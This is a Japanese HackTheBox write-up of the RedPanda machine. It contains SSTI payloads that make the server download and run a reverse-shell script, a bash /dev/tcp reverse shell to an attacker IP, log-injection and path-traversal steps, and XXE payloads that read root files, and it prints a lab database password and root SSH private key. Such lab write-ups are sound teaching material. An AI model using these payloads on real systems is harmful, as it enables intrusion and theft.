🍏

【HackTheBox】RedPanda Writeup

2023/12/27に公開

Recon

nmap

port 8080にウェブサイトがあります。

website

gobusterでいくつかのページを発見しました。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.170:8080
===============================================================
/error                (Status: 500) [Size: 86]
/search               (Status: 405) [Size: 117]
/stats                (Status: 200) [Size: 987]
Progress: 4614 / 4615 (99.98%)
===============================================================

/
red pandaを検索できるみたいです

/error
これはspring bootのエラーページですね。javaか、、

/search
トップページで検索すると、この画面に遷移する。
検索した文字列がそのままページに表示されているので、SSTI試したいと思いました。

/stats

リンクをクリックするとこの画面に遷移します。urlはauthorパラメータが入っている感じですhttp://10.10.11.170:8080/stats?author=woodenk

export tableで画像の情報が入っているxmlファイルがダウンロードされます。
/search 検索結果があるケース

検索結果が0件じゃない場合は画像、name、description、authorが表示されます。

Spring Boot SSTI

payloadを試します。
${7*7}でbanned charactersのエラーが出ました。$がダメだったみたい。

*{7*7}は問題なく実行されました。

ではコマンドを実行してみます。hacktricksに載っているpayloadでやってみます(https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#spring-framework-java )。

idの結果が返ってきました!ではreverse shellを取っていきたいと思います。
よく使われるpayloadが全部むりだったが、curlwgetでattack machineからファイルをダウンロードできるみたいなので、この流れでやってみます:kali側でreverse shellのpayloadが入っているbash scriptを用意→scriptをtarget boxに移す→権限を設定する→scriptを実行

  1. attack machineにこのファイルを作って、サーバーを立ち上げます
bashrevshell
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.10/9001 0>&1"
python3 -m http.server 8001

listenerを起動します

nc -lvnp 9001
  1. ファイルをダウンロードします
burpに入れるpayload
name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('wget 10.10.14.4:8001/bashrevshell').getInputStream())}
  1. bashrevshellの権限を変更する
name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod 777 bashrevshell').getInputStream())}


4. スクリプト実行

name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('./bashrevshell').getInputStream())}

シェルが取れました。

Shell as woodenk

Recon

気になるところをメモします。

/credits directory

root directoryに/creditsdirectoryが入っていたので、中身を見てみます。

drw-r-x---  2 root logs 4096 Jun 21  2022 .
drwxr-xr-x 20 root root 4096 Jun 23  2022 ..
-rw-r-----  1 root logs  422 Dec 26 08:36 damian_creds.xml
-rw-r-----  1 root logs  426 Jun 21  2022 woodenk_creds.xml

woodenk_creds.xmlを見てみます。ウェブサイトからダウンロードできるxmlファイルと同じ内容ですね。

/credits/woodenk_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>woodenk</author>
  <image>
    <uri>/img/greg.jpg</uri>
    <views>0</views>
  </image>
  [..SNIP..]

/opt directory

/optの中に色々ありました。一つずつ見ていきます。

woodenk@redpanda:/opt$ ls
cleanup.sh
credit-score
maven
panda_search

source code: /opt/cleanup.sh

#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;

write権限があるdirectoryからxmlとjpgファイルを削除するスクリプト。pspyでプロセスをみたら、2分に一回実行されていました。
なぜファイルを定期的に削除するかわかりませんが、priv escは多分xml、jpgファイルと関係があると思いました。

/opt/panda_search/src/main/java/com/panda_search/htb/panda_searchにウェブサイトのソースコードがありました。3つのファイルがあります。

MainController.java(一部)
public ArrayList searchPanda(String query) {
        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");

woodenkのパスワードはRedPandazRuleでした。
mysql dbの中も確認してみましたが、特にヒントがなかったです。

RequestInterceptor.java
public class RequestInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
        return true;
    }
    @Override
    public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
        String UserAgent = request.getHeader("User-Agent");
        String remoteAddr = request.getRemoteAddr();
        String requestUri = request.getRequestURI();
        Integer responseCode = response.getStatus();
        /*System.out.println("User agent: " + UserAgent);
        System.out.println("IP: " + remoteAddr);
        System.out.println("Uri: " + requestUri);
        System.out.println("Response code: " + responseCode.toString());*/
        System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
        FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
        BufferedWriter bw = new BufferedWriter(fw);
        bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
        bw.close();
    }
}

RequestInterceptor.javaの中に、ログを書き込む処理をしていました。burpでリクエストを送って、ログファイル(/opt/panda_search/redpanda.log)をみてみると、ログが入っていました。

200||10.10.14.4||Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36||/search
200||10.10.14.4||Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36||/stats

また、woodenkはlogs groupに入っているのでredpanda.logのwrite権限があります。

-rw-rw-r-- 1 root logs     1 Dec 27 00:34 redpanda.log

source code: /opt/credit_score

/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.javaに別のソースコードが入っていました。

App.java
public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }
        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());
        File fd = new File(path);
        Document doc = saxBuilder.build(fd);
        Element rootElement = doc.getRootElement();
        for(Element el: rootElement.getChildren())
        {
            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }
    }
}

ログを処理して、各画像の閲覧数を更新するためのコードです。詳細は↓

1. redpanda.logのログから、status code, ip, UA, uri(path)が入っているmapを生成する
2. 画像を読み込んで、metadataのArtistタグから作者の情報を取得
3. /credits/{artist}_creds.xmlを読み込み、閲覧数(views)タグの中身を更新して同じファイルに書き出す

pspyから、このcredit_scoreのコードはrootが実行していることがわかります。

redpanda.logのwrite権限を使って、ログのuriとmetadataをmaliciousの値に設定してするとrootがそのpayloadを実行して権限昇格できそうです。

XXE

addViewTo関数がxxeのpayloadが入っているxmlを読み込む時に、rootとして任意のファイルをreadできるかもしれません。まずは自作のxmlファイルをcredit_scoreに読み込ませないといけないです。
下記の流れでXXE attackできるかどうかを検証します。

  1. 画像のmetadataにpayloadを入れる
    適当の画像にArtistタグを入れる。
    これでcredit_scoreは/tmp/hack_creds.xmlを読み込むはず。
exiftool -Artist=../tmp/hack hack.jpg
exiftool hack.jpg
  1. 画像をtarget machineに転送
    /tmpに画像を入れる。
wget 10.10.14.4:8001/hack.jpg
  1. XXE payloadが/tmp/hack_creds.xmlを作って、target machine
/tmp/hack_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "3"> ]>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>0</views>
    <foo>&xxe;</foo>
  </image>
  <image>
    <uri>/img/shy.jpg</uri>
    <views>0</views>
  </image>
  [..SNIP..]
  1. /opt/panda_search/redpanda.logにログを入れて、攻撃をtriggerする
    これで画像のfull pathは/tmp/hack.jpgになります。
echo 'a||b||c||/../../../../../../../../tmp/hack.jpg' > /opt/panda_search/redpanda.log
  1. /tmp/hack_creds.xmlの中身を確認
woodenk@redpanda:/tmp$ cat hack_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>0</views>
    <foo>3</foo>
  </image>
[..SNIP..]

作ったentity(xxe)が反映されました!ではroot flagの中身をreadしてみます。

/tmp/hack_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/root/root.txt"> ]>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>0</views>
    <foo>&xxe;</foo>
  </image>
  [..SNIP..]

root flagゲットできました!

/tmp/hack_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>0</views>
    <foo>077xxxxxxxxxxxxxxxxxxxxx6b5</foo>
  </image>
  [..SNIP..]

Shell as root

xxeでrootのssh keyを読み込みます。

payload
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/root/root.txt"> ]>
woodenk@redpanda:/tmp$ cat hack_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>0</views>
    <foo>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</foo>
  </image>
  [..SNIP..]

sshログインするとroot shellが取れました。

┌──(kali㉿kali)-[~/redpanda]
└─$ chmod 600 rootkey   
                                                                                  
┌──(kali㉿kali)-[~/redpanda]
└─$ ssh -i rootkey root@10.10.11.170
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
root@redpanda:~# id
uid=0(root) gid=0(root) groups=0(root)

Memo

woodenkのパスワードがわかった時にsshログインして使いやすいシェルをゲットできますが、sshログインした時のwoodenkはlog groupに入っていないので、priv escに必要なことができません(logファイルにwriteする、/creditsディレクトリの中身をreadするなど)。
priv escはeasy mechineの中で一番難しかったかも、、?

Discussion